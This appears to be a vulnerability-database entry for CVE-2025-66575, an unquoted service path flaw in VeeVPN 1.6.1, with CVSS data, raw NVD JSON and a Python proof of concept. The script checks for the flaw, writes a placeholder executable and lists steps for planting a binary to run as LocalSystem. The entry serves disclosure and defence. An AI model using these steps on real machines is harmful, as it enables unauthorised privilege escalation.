Security Vulnerability Report
中文
CVE-2025-66575 CVSS 7.8 HIGH

CVE-2025-66575

Published: 2025-12-04 21:16:10
Last Modified: 2025-12-30 16:33:55

Description

VeeVPN 1.6.1 contains an unquoted service path vulnerability in the VeePNService that allows remote attackers to execute code during startup or reboot with escalated privileges. Attackers can exploit this by providing a malicious service name, allowing them to inject commands and run as LocalSystem.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:veepn:veepn:1.6.1:*:*:*:*:*:*:* - VULNERABLE
VeeVPN 1.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-66575 PoC - VeeVPN Unquoted Service Path RCE # This PoC demonstrates the unquoted service path vulnerability in VeePNService # Author: Security Researcher # Note: For authorized security testing only import os import sys import subprocess import ctypes def check_vulnerability(): """Check if VeePNService is installed and has unquoted path""" try: # Query service configuration using sc command result = subprocess.run( ['sc', 'qc', 'VeePNService'], capture_output=True, text=True ) if result.returncode == 0: output = result.stdout # Check if BINARY_PATH_NAME contains unquoted path with spaces if 'BINARY_PATH_NAME' in output: # Extract path and check for spaces without quotes for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() if ' ' in path and not path.startswith('"'): print(f"[*] Vulnerable path detected: {path}") return True print("[-] Service not found or not vulnerable") return False except Exception as e: print(f"[!] Error checking vulnerability: {e}") return False def create_malicious_executable(target_path): """Create a malicious executable to be placed at unquoted path location""" # This is a placeholder - in real attack, attacker would place malicious binary malicious_code = b'MZ' + b'\x00' * 100 # Minimal PE header try: with open(target_path, 'wb') as f: f.write(malicious_code) print(f"[*] Malicious executable created at: {target_path}") return True except PermissionError: print(f"[!] Insufficient privileges to write to {target_path}") print("[*] Administrator privileges required for exploitation") return False except Exception as e: print(f"[!] Error creating malicious file: {e}") return False def main(): print("=" * 60) print("CVE-2025-66575 - VeeVPN VeePNService Unquoted Path RCE") print("=" * 60) if not ctypes.windll.shell32.IsUserAnAdmin(): print("[!] This exploit requires administrator privileges") sys.exit(1) print("[*] Checking for vulnerable VeePNService installation...") if check_vulnerability(): print("[+] Vulnerability confirmed!") print("[*] To exploit:") print(" 1. Place malicious executable in unquoted path location") print(" 2. Wait for service restart or system reboot") print(" 3. Malicious code will execute with LocalSystem privileges") else: print("[-] Target system not vulnerable or service not installed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66575", "sourceIdentifier": "[email protected]", "published": "2025-12-04T21:16:10.413", "lastModified": "2025-12-30T16:33:54.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "VeeVPN 1.6.1 contains an unquoted service path vulnerability in the VeePNService that allows remote attackers to execute code during startup or reboot with escalated privileges. Attackers can exploit this by providing a malicious service name, allowing them to inject commands and run as LocalSystem."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:veepn:veepn:1.6.1:*:*:*:*:*:*:*", "matchCriteriaId": "3DE2B1A1-3748-4034-BE1D-97C08CEE9C62"}]}]}], "references": [{"url": "https://github.com/veepn/veepn", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://veepn.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/52088", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/veevpn-161-unquoted-service-path-remote-code-execution", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.exploit-db.com/exploits/52088", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}